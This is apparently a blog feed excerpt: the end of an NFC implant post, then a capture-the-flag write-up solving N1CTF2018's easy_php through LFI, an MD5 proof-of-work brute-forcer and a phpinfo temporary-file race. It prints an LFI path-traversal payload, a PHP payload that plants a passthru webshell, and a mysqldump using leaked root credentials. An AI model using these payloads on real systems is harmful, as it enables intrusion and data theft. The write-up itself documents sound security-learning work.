<p><img src="http://dann.com.br/content/images/2019/08/2006-03-30_-_Hands.0.0.jpg" alt="BIOHACKING : How I got two NFC implants @ DEF CON 27, why I bricked and how fixed it?">
<small>x-ray picture by @dylanmatt from <a href="https://www.vox.com/2015/9/11/9307991/biohacking-grinders-rfid-implant">Vox</a></small></p>

<p>Awesome, now I have about 2kb storage wireless readable built-in in my body! </p>

<p>DEF CON as always providing amazing experiences.</p>

<h2 id="recommendedtools">Recommended tools</h2>

<ul>
<li>Dangerous NFC (BETA) - <a href="https://play.google.com/store/apps/details?id=com.dangerousthings.nfc&amp;hl=en">https://play.google.com/store/apps/details?id=com.dangerousthings.nfc&amp;hl=en</a></li>
<li>NFC TagInfo by NXP - <a href="https://play.google.com/store/apps/details?id=com.nxp.taginfolite&amp;hl=en">https://play.google.com/store/apps/details?id=com.nxp.taginfolite&amp;hl=en</a></li>
<li>NFC Tools Pro Edition - <a href="https://play.google.com/store/apps/details?id=com.wakdev.nfctools.pro&amp;hl=en">https://play.google.com/store/apps/details?id=com.wakdev.nfctools.pro&amp;hl=en</a></li>
<li>NFC TagWriter by NXP - <a href="https://play.google.com/store/apps/details?id=com.nxp.nfc.tagwriter&amp;hl=en">https://play.google.com/store/apps/details?id=com.nxp.nfc.tagwriter&amp;hl=en</a></li>
<li>NFC Mobile Shell - <a href="https://forum.dangerousthings.com/uploads/default/original/1X/6b6999b1515b5d7dfa47368938daf2b488c3bcf3.apk">https://forum.dangerousthings.com/uploads/default/original/1X/6b6999b1515b5d7dfa47368938daf2b488c3bcf3.apk</a></li>
</ul>

<h2 id="recommendedhardware">Recommended hardware</h2>

<ul>
<li>Dangerous KBR1 (ISO14443A) - <a href="https://cyborg.ksecsolutions.com/kit/dt-kbr1/">https://cyborg.ksecsolutions.com/kit/dt-kbr1/</a></li>
<li>Chameleon Mini RevE Rebooted, ISO14443A Codec Mifare Ultralight emulation (emulation and reader) - <a href="https://hackerwarehouse.com/product/chameleon-mini-reve-rebooted/">https://hackerwarehouse.com/product/chameleon-mini-reve-rebooted/</a></li>
<li>ACR122U 13,56 mhz ISO14443 A/B (NTAG213, NTAG215 e NTAG216) reader/writer - <a href="https://www.acs.com.hk/en/download-manual/419/API-ACR122U-2.04.pdf">https://www.acs.com.hk/en/download-manual/419/API-ACR122U-2.04.pdf</a></li>
</ul>

<h2 id="references">References</h2>

<ul>
<li>Biohacking, the forefront of a new kind of human evolution by Amal Graafstra at TEDxSFU - <a href="https://www.youtube.com/watch?v=7DxVWhFLI6E">https://www.youtube.com/watch?v=7DxVWhFLI6E</a></li>
<li>Tests we’ve performed on our x-series tags - <a href="https://forum.dangerousthings.com/t/tests-weve-performed-on-our-x-series-tags/474">https://forum.dangerousthings.com/t/tests-weve-performed-on-our-x-series-tags/474</a></li>
<li>Dangerous Minds Podcast - <a href="https://www.dangerousminds.io/">https://www.dangerousminds.io/</a></li>
<li>Help! Can’t write to xNT - <a href="https://forum.dangerousthings.com/t/help-cant-write-to-xnt/3131/2">https://forum.dangerousthings.com/t/help-cant-write-to-xnt/3131/2</a></li>
<li>xNT stuck in read only mode - <a href="https://forum.dangerousthings.com/t/xnt-stuck-in-read-only-mode/2782">https://forum.dangerousthings.com/t/xnt-stuck-in-read-only-mode/2782</a></li>
<li>TOOOL - <a href="https://twitter.com/toool">https://twitter.com/toool</a></li>
<li>Removal of RFID implant (graphic) - <a href="https://www.youtube.com/watch?v=_Qpj2ZztycE">https://www.youtube.com/watch?v=_Qpj2ZztycE</a></li>
<li>Professional Guide to 2x12mm GlassTransponder Installation - <a href="https://dangerousthings.com/wp-content/uploads/Professional-Guide-to-2x12mm-transponder-installation.pdf">https://dangerousthings.com/wp-content/uploads/Professional-Guide-to-2x12mm-transponder-installation.pdf</a></li>
<li>Biohacking Village @ DEF CON - <a href="https://twitter.com/dc_bhv">https://twitter.com/dc_bhv</a></li>
<li>DangerousThings - <a href="https://twitter.com/DangerousThings">https://twitter.com/DangerousThings</a></li>
<li>Chip My Life - <a href="https://chipmylife.io">https://chipmylife.io</a></li>
<li>NTAG213/215/216NFC Forum Type 2 Tag compliant IC with 144/504/888 bytes user memory - <a href="https://dangerousthings.com/wp-content/uploads/NTAG213_215_216.pdf">https://dangerousthings.com/wp-content/uploads/NTAG213_215_216.pdf</a> </li>
<li>I got a computer chip implanted into my hand - <a href="https://www.vox.com/2015/9/11/9307991/biohacking-grinders-rfid-implant">https://www.vox.com/2015/9/11/9307991/biohacking-grinders-rfid-implant</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)]]></title><description><![CDATA[<p>This weekend I and @<a href="https://www.linkedin.com/in/renatocarneirop/">shrimpgo</a> decided to try some CTF, noticed that <a href="http://n1ctf.xctf.org.cn/">N1CTF2018</a> are running. Quickly joined and there's a lot of challenges, but this unsolved <strong>easy php</strong> called our attention.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_070.png" alt=""></p>

<p>I doubt it was easy, several hours of CTF had already passed and it remained unsolved.</p>

<h2 id="challengedetails">Challenge details</h2>

<pre><code>Not</code></pre>]]></description><link>http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/</link><guid isPermaLink="false">82bcc13e-31d0-478c-9734-2c065ec34459</guid><category><![CDATA[php]]></category><category><![CDATA[web security]]></category><category><![CDATA[ctf]]></category><category><![CDATA[race condition]]></category><category><![CDATA[exploit]]></category><category><![CDATA[md5]]></category><category><![CDATA[hash collision]]></category><category><![CDATA[c1ctf2018]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Mon, 12 Mar 2018 04:28:22 GMT</pubDate><media:content url="http://dann.com.br/content/images/2018/03/phphamer.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2018/03/phphamer.jpg" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"><p>This weekend I and @<a href="https://www.linkedin.com/in/renatocarneirop/">shrimpgo</a> decided to try some CTF, noticed that <a href="http://n1ctf.xctf.org.cn/">N1CTF2018</a> are running. Quickly joined and there's a lot of challenges, but this unsolved <strong>easy php</strong> called our attention.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_070.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>I doubt it was easy, several hours of CTF had already passed and it remained unsolved.</p>

<h2 id="challengedetails">Challenge details</h2>

<pre><code>Not racing, just enjoying the slow pace of life :)  
http://47.97.221.96, Mirror: http://47.97.221.96:23333/  
</code></pre>

<p><strong>Dockerfile</strong></p>

<pre><code class="language-bash">FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5

ADD nu1lctf.tar.gz /app/  
RUN apt-get update  
RUN a2enmod rewrite  
COPY sql.sql /tmp/sql.sql  
COPY run.sh /run.sh  
RUN mkdir /home/nu1lctf  
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh

RUN chmod +x /run.sh  
RUN chmod 777 /tmp/sql.sql  
RUN chmod 555 /home/nu1lctf/clean_danger.sh

EXPOSE 80  
CMD ["/run.sh"]
</code></pre>

<h2 id="enumeration">Enumeration</h2>

<p>Starting the enumeration of provided web service.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_072.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>There's a login page, If you try to log in with any credential you will receive the <code>code error</code> message. And apparently the username/password check is not even executed.</p>

<p>Ok, they are leaking this sentence <code>Code(substr(md5(?), 0, 5) === b5152)</code>, looks like part of code checking function.. checking only the <strong>first 5 bytes</strong> of md5("code"). And this 5 bytes changes on every refresh.</p>

<blockquote>
  <p>You need to solve a <strong>Proof-Of-Work</strong>, send the result with the login request. I believe they did this to minimize brute-force abuse. Very common in CTF challenges.</p>
</blockquote>

<p>So, I leave this aside and continued my enumeration...</p>

<h3 id="sourcecodeleaking">Source code leaking</h3>

<p>By brute-forcing <strong>common filenames and directories</strong> we was able to leak the entire source code of the web application:</p>

<pre><code class="language-bash"># Web application files &amp; scripts
http://47.97.221.96:23333/index.php  
http://47.97.221.96:23333/config.php  
http://47.97.221.96:23333/user.php  
http://47.97.221.96:23333/static

# Backup files leaking the source code
http://47.97.221.96:23333/index.php~  
http://47.97.221.96:23333/config.php~  
http://47.97.221.96:23333/user.php~

# PHP scripts without .php extension leaking the views source code
http://47.97.221.96:23333/views  
http://47.97.221.96:23333/views/delete  
http://47.97.221.96:23333/views/index  
http://47.97.221.96:23333/views/login  
http://47.97.221.96:23333/views/profile  
http://47.97.221.96:23333/views/publish  
http://47.97.221.96:23333/views/register

# "Useless" phpinfo() running over command line: &lt;?php system("php -r \"phpinfo();\"") ?&gt;
http://47.97.221.96:23333/views/phpinfo  
</code></pre>

<p>From the <strong>config.php</strong> source code we are able to extract the <strong>mysql user password</strong>.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_075.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<ul>
<li>MySQL user password: <code>Nu1L / Nu1Lpassword233334</code>.</li>
</ul>

<h2 id="localfileinclusionlfi">Local File Inclusion (LFI)</h2>

<p>Analyzing the leaked source code we found that <code>http://47.97.221.96:23333/index.php?action=login</code> are vulnerable to LFI.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_073.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Now we can read any file on the system that our user have permission w/ this payload: <code>http://47.97.221.96:23333/index.php?action=../../etc/passwd</code></p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_074.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>The provided <strong>Dockerfile</strong> are showing us some interesting info and <strong>file paths</strong> that we can read using the LFI.</p>

<p>Starting by the <code>FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5</code> docker container confirming the version of <strong>php</strong>, <strong>apache and mysql</strong>.</p>

<h3 id="runshscript">/run.sh script</h3>

<pre><code class="language-bash">#!/bin/bash
chown www-data:www-data /app -R

if [ "$ALLOW_OVERRIDE" = "**False**" ]; then  
    unset ALLOW_OVERRIDE
else  
    sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf
    a2enmod rewrite
fi

# initialize database
mysqld_safe --skip-grant-tables&amp;  
sleep 5  
## change root password
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;"  
## restart mysql
service mysql restart  
## execute sql file
mysql -uroot -pNu1Lctf\%\#~\:p &lt; /tmp/sql.sql

## crontab
(while true;do rm -rf /tmp/*;sleep 2;done)&amp;

## rm sql
cd /tmp/  
rm sql.sql  
rm /var/www/phpinfo  
source /etc/apache2/envvars  
tail -F /var/log/apache2/* &amp;  
exec apache2 -D FOREGROUND  
</code></pre>

<p>Found MySQL user password and some system info.</p>

<ul>
<li><strong>MySQL root password</strong>: <code>root / Nu1Lctf%#~:p</code></li>
</ul>

<p>We also tried to fuzz common paths, /proc's, file descriptors etc.. to get more information about the system. </p>

<p><img src="http://dann.com.br/content/images/2018/03/imaa.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Not much found, just confirmed the user are running apache2, cmdline, some log paths that we do not have permission to access and Linux header <code>Linux df551128a261 3.13.0-30-generic #54-Ubuntu SMP Mon Jun 9 22:45:01 UTC 2014 x86_64</code>.</p>

<p>The <a href="http://php.net/manual/en/wrappers.php">PHP Filters &amp; wrappers</a> are also enabled.</p>

<pre><code>Registered PHP Streams =&gt; https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip  
Registered Stream Socket Transports =&gt; tcp, udp, unix, udg, ssl, sslv3, tls  
Registered Stream Filters =&gt; zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, mcrypt.*, mdecrypt.*  
</code></pre>

<p>But we cannot find a way to use it because the <code>require_once 'views/'.$_GET['action'];</code> this <code>views/</code> prefix we need to escape with <code>../</code> in order to get a <strong>LFI</strong> and it not works with the <code>php://</code>. <strong><em>(if u know a way, plz tell me)</em></strong></p>

<h2 id="md5collisionpow">MD5 collision PoW</h2>

<p>With all enumerated information about the system and even <strong>without a RCE</strong> we decided to solve the md5 collision to start attacking the login system.</p>

<p>So, the <code>user.php~</code> are leaking all the login process details.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_077.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Breaking the code into pieces, this <code>if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])</code> is mandatory to solve in order to poke the register/login credentials checking functions. </p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_079.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>This code is stored in <code>session cookie</code> we leak the content but cannot control it (yet).</p>

<p>If the system return the <code>Invalid user name</code> means that we have sent the correct <code>code</code>.</p>

<p><strong>MD5 first 5 bytes hash collision generator</strong></p>

<p>We quickly wrote this code to get a valid collision.  </p>

<pre><code class="language-php">&lt;?php  
## MD5 first 5 bytes hash collision generator - solution to easy_php @ N1CTF2018  
# solved by intrd &amp; shrimpgo - p4f team

## 1st create a wordlist: crunch 4 4 1234567890abcdefghijklmnopqrstuvwxyz_ -o file.txt

$_SESSION['code']=$argv["1"];
echo "** searching for: ".$_SESSION['code']."\n";

if ($file = fopen("file.txt", "r")) {  
    while(!feof($file)) {
        $line = trim(fgets($file));
        $_POST['code'] = $line;
        if(substr(md5($_POST['code']),0, 5)===$_SESSION['code']){
            echo "yeah!\n".md5($line);
            echo ":\n".$line."\n";
            die();
        }
    }
    fclose($file);
}
?&gt;
</code></pre>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_080.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<h2 id="gainingsystemaccess">Gaining System Access</h2>

<p>Now using the pre-generated code <code>aklhic</code> we are able to <strong>create a new user</strong> browsing to <code>http://47.97.221.96:23333/index.php?action=register</code></p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_082.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Nice, logged in.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_083.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Browsing the web application features, we can publish some content.. and set the <code>Allow different ip to login</code> flag to current user. Nothing more..</p>

<p>..nothing more unless you have the <code>is_admin=1</code> flag set on your cookie.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_084.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>As you can see, this flag enables the file sending option, <strong>a good way to get our RCE</strong>.</p>

<h4 id="howtosettheis_admin1">How to set the is_admin=1?</h4>

<p>Code set this flag to 1 if the login/register POST are from the correct IP, I bet it was <code>127.0.0.1</code>.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_117.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>The <code>get_ip()</code> function is strictly reading the <code>REMOTE_ADDR</code>, I think i cannot spoof this value.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_118.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<h4 id="tryingsessioncookiecodeinjection">Trying session cookie code injection</h4>

<p>First idea is inject some <code>&lt;?php code ?&gt;</code> on cookie session file that I can launch from LFI.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_085.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Now we have more information stored on the cookie file, but only <code>username</code> I can control. And this is properly filtered.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_086.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>This check is blocking invalid usernames. We cannot create a new user with some code on it.</p>

<h4 id="tryingsqlinjection">Trying SQL injection</h4>

<p>So, our next idea is checking for some SQL injection.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_087.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>The queries are very simple and the Db() controller are not properly filtering this. But the code are.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_088.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Sometimes it is converting the type to <code>(int)</code> before sending to query. It breaks our SQLi attempts. </p>

<p>In other cases like <code>insert()</code> it is filtering using the <code>preg_match()</code>.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_089.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>I think it is possible to bypass the <code>(int)</code> sending an <code>array[]</code> or something like this, and I'm sure this is vulnerable to SQLi by other ways, but no success on my tries. <strong><em>(if you know how to do this plz tell me)</em></strong></p>

<h4 id="objectinjectionpopchain">Object Injection? POP Chain?</h4>

<p>We know the unserialize + PHP are <strong>ALWAYS VULNERABLE</strong>. </p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_091.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>This <code>unserialize()</code> of the <code>mood object</code> is very suspicious. Mood class does not have any php magic function that we can abuse, but the Db{} has.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_092.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Ok, but how trigger this? </p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_093.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>I created this serialized object locally to a deep inspection.</p>

<pre><code class="language-php">&lt;?php  
class Mood{

    public $mood, $ip, $date;

    public function __construct($mood, $ip) {
        $this-&gt;mood = $mood;
        $this-&gt;ip  = $ip;
        $this-&gt;date = time();
    }

    public function getcountry()
    {
        $ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this-&gt;ip);
        $ip = json_decode($ip,true);
        return $ip['data']['country'];
    }

    public function getsubtime()
    {
        $now_date = time();
        $sub_date = (int)$now_date - (int)$this-&gt;date;
        $days = (int)($sub_date/86400);
        $hours = (int)($sub_date%86400/3600);
        $minutes = (int)($sub_date%86400%3600/60);
        $res = ($days&gt;0)?"$days days $hours hours $minutes minutes ago":(($hours&gt;0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
        return $res;
    }

}

$_POST['mood'] = 1;
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],"127.0.0.1")));
#$mood = serialize(new Mood((int)$_POST['mood'],"127.0.0.1"));
echo $mood;  
// $mood = unserialize($mood);

// $country = $mood-&gt;getcountry();
// print $country;
?&gt;
</code></pre>

<p><img src="http://dann.com.br/content/images/2018/03/obj.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>..and confirmed that I only can control the mood id, that one converted to integer before to get inside the serialized object. Again, no injection because the conversion.</p>

<h4 id="xssssrf">XSS? SSRF?</h4>

<p>Maybe there a PhantomJS or some script browsing to my publications? </p>

<blockquote>
  <p>If we are able to trigger a <strong>SSRF</strong>, I was able to craft a POST and set my user as <strong>is_admin=1</strong>!</p>
</blockquote>

<p>Nope, we have the Dockerfile showing every system changes, and leaked a lot of things that indicate this is not happening. Also there's a <code>htmlentities()</code> and other things filtering our XSS tries, and <code>javascript:</code> didn't work outside a <code>&lt;tag&gt;</code>.</p>

<h2 id="emulatinglocallytheremoteenvironment">Emulating locally the remote environment</h2>

<p>After a lot of frustrated tries, we decided to move back to enumeration searching another attack vector.</p>

<p>So, Dockerfile shows us that they used a <strong>public repository</strong> to create the base system for this challenge.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_094.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>I pulled this to my machine, sync'd everything, got a rootshell on it and started the Container enumeration.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_095.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>The only things that I cannot sync was of course the <code>ADD nu1lctf.tar.gz /app/</code> and <br>
<code>COPY sql.sql /tmp/sql.sql</code> containing the challenge data.</p>

<h1 id="unintendwaytorceflag">Unintend way to RCE/Flag</h1>

<p>Checking the environment we noticed that the challenger made a mistake(intentionally probably) while removing the <code>/var/www/phpinfo</code> folder on <code>/run.sh</code> script.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_096.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>He missed the <code>-r</code> and it will leave the folder on environment w/ all its contents!</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_098.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Nice! Different from that useless <code>/app/views/phpinfo</code> that are running over command-line, now we have this <code>phpinfo();</code> that we can reach directly from web server and interprets our <code>GET</code> and <code>POST requests</code>!</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_099.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<h4 id="andwhythisphpinfoisdangerous">And, why this <code>phpinfo()</code> is dangerous?</h4>

<p>Remember the challenge description:</p>

<pre><code>Not racing, just enjoying the slow pace of life :)  
</code></pre>

<p>I do not like the slow pace of life and decided to try a well known race condition exploit on it.</p>

<ul>
<li><a href="http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf">PHP LFI to arbitratry code execution via rfc1867 file upload temporary files</a></li>
</ul>

<p><a href="https://twitter.com/gynvael?lang=en">Gynvael Coldwind</a> wrote this awesome paper about a Race Condition that can be exploited abusing the PHP File Upload function. Btw our <strong>php5.5.9</strong> is vulnerable to this issue.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_100.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>In order to exploit this we need to launch a <code>multi-thread</code> script to <code>flood the PHP Job queue w/ junk</code> and we have a <code>little time window</code> to <code>access this temporary created files</code> before it was automatically deleted.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_101.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<blockquote>
  <p>The random_value is later written as 6 digits of k=62 (A-Za-z0-9 charset) numeric
  system, and appended to the "/tmp/php" prefix (unless another directory is set), <br>
  e.g. /tmp/phpUs7MxA. -- Gynvael</p>
</blockquote>

<p>Also found this another paper from <a href="mailto: brett.moore@insomniasec.com">brett.moore@insomniasec.com</a>:</p>

<ul>
<li><a href="https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf">LFI with PHPInfo assitance (includes PoC)</a></li>
</ul>

<p>I tried to use the <strong>Insomniasec PoC</strong> described on paper but no success, maybe because some chinese server conditions and settings, I don't know what happened.</p>

<p>Instead of troubleshooting that PoC and to learn a new thing, following the <strong>Gynvael</strong> and <strong>Insomniasec</strong> papers we decided to write a new exploit from scratch troubleshooting every step on my local docker environment.</p>

<h2 id="finalexploit">Final exploit</h2>

<script src="https://gist.github.com/intrd/35483ae252c66ee3d11f7acfa7379749.js"></script>

<p>The idea behind this code is generate a lot of junk on headers, cookies, uri and POST all the shit including your <code>payload.txt</code> to the phpinfo endpoint.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_103.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>If the File Upload work, the <code>phpinfo()</code> will respond with the <code>temporary file path</code>.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_104.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>You aren't fast enough to access this file before it was processed/deleted by PHP. But the multi-thread script are!</p>

<p>This is the <em>payload</em> that will be executed if some thread are fast enought to hit.  </p>

<pre><code class="language-php">&lt;?php $c=fopen('/app/intrd','w');fwrite($c,'&lt;?php passthru($_GET["f"]);?&gt;');?&gt;  
</code></pre>

<p>It will create <code>/app/intrd</code>, a webshell that we have access though LFI!</p>

<p>I choose this path because I'm sure this is writable:</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_107.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>But remember.. <br>
We are not at an advantage in this race.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_105.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>There are a fucking <code>rm -rf /tmp/*;</code> running <code>every 2 seconds</code> on the system.</p>

<p>We have the worst scenario possible:</p>

<ul>
<li>This job deleting everything on /tmp every 2s;</li>
<li>PHP deleting temporary files after processing.</li>
<li>Chinese server - Other side of the world for me (Brazil);</li>
<li>Lot of players bruteforcing the application turning the response insanely slow.</li>
</ul>

<p>Anyway, why not give a try?</p>

<p>So, I launched my exploit locally.</p>

<p><img src="http://dann.com.br/content/images/2018/03/phpinfo_race_condition_exploit.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>While the Race Condition exploit are running w/ <code>50 threads</code>, I keep checking the existence of my webshell at <code>/app/intrd</code>.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_108.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>And, after a few minutes, it worked like a charm! We got our RCE at the controlled environment.</p>

<h3 id="chinanumberone">China number one</h3>

<p>So, when I tried the exploit remote I have not had the same luck <code>:(</code>. </p>

<p>Of course the Chinese server are too far from me, and the brazilian ISP sucks a lot, <code>tracert</code> indicates that there's a single Embratel node sucking more than 200ms, ending w/ the total ping response <code>650ms+</code>.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_110.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>But it become personal, we would not give up at this point. </p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_112.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>So we decided to shorten the distance and travel (virtually) near to China!</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_109.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>Thanks <a href="https://m.do.co/c/d9e7f6bd0a56">DigitalOcean</a>!</p>

<p><code>350ms</code> now i'm ok to launch my exploit from a VPS hosted on <code>Bagalore</code>!</p>

<p>And after about 1 hour trying, finally got my webshell written to the <code>/app</code> folder.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_113.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>I think the players loading the server's CPU with bruteforce shit helped me a lot slow-ling the php queue this time.</p>

<p>I quickly upgrade this RCE to a reverse shell.</p>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_114.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<h3 id="wherestheflag">Where's the flag?</h3>

<p>So, knowing the docker environment, and excluding the nu1lctf.tar.gz content, that at this point we had already been digging into everything. My bet was the MySQL database.</p>

<p>Remember the <code>mysql root password</code> leaked on the beginning? I used this to <code>dump all the databases to a file</code> and <strong>greped</strong> for the flag prefix. </p>

<pre><code class="language-bash">mysqldump -uroot -pNu1Lctf\%\#~\:p --all-databases &gt; /app/intdbs.sql  
</code></pre>

<p><img src="http://dann.com.br/content/images/2018/03/Selection_115.png" alt="PHP : Winning the race against PHP (alternative way to easy_php @ N1CTF2018)"></p>

<p>A HUGE win! <br>
Also, the flag text confirmed the intended way was that first path we were following.</p>

<p><strong>PHP unserialize + SSRF + CRLF Injection</strong>, Jesus, we have no time to learn this today. Hey, Easy? :p</p>

<p>Learned a lot in a single chall.</p>

<p>Awesome CTF <a href="http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/n1ctf.xctf.org.cn/">Nu1L .Cyberpeace</a>, unfortunately we did not have time to try the other challenges but I'm sure they were as well developed as this one!</p>

<p>And thanks @<a href="https://www.linkedin.com/in/renatocarneirop/">shrimpgo</a>, awesome team up and brainstorms!</p>

<h1 id="updateexpectedsolutionphpunserializessrfcrlfinjection">UPDATE: Expected solution (PHP unserialize + SSRF + CRLF Injection)</h1>

<ul>
<li><a href="http://wupco.cn/hctf/ezphp.pdf">ezphp - official writeup</a> by wupcode (admin)</li>
</ul>

<h2 id="resources">Resources</h2>

<ul>
<li><a href="http://n1ctf.xctf.org.cn/">NICTF 2018</a></li>
<li><a href="https://github.com/wsargent/docker-cheat-sheet">Docker cheat sheet</a></li>
<li><a href="https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion">OWASP, testing for LFI</a></li>
<li><a href="http://php.net/manual/en/wrappers.php">PHP Protocols and Wrappers</a></li>
<li><a href="https://en.wikipedia.org/wiki/Collision_attack">Collision attack</a></li>
<li><a href="https://www.mathstat.dal.ca/~selinger/md5collision/">MD5 Collision demo</a></li>
<li><a href="https://github.com/binarycoded/md5-collision">A simple unit test to show a MD5 hashing collision</a> </li>
<li><a href="https://www.owasp.org/index.php/PHP_Object_Injection">OWASP, PHP Object injection</a></li>
<li><a href="https://en.wikipedia.org/wiki/Race_condition#Example">Race condition</a></li>
<li><a href="https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf">insomniasec, Pratical PHP Object Injection</a></li>
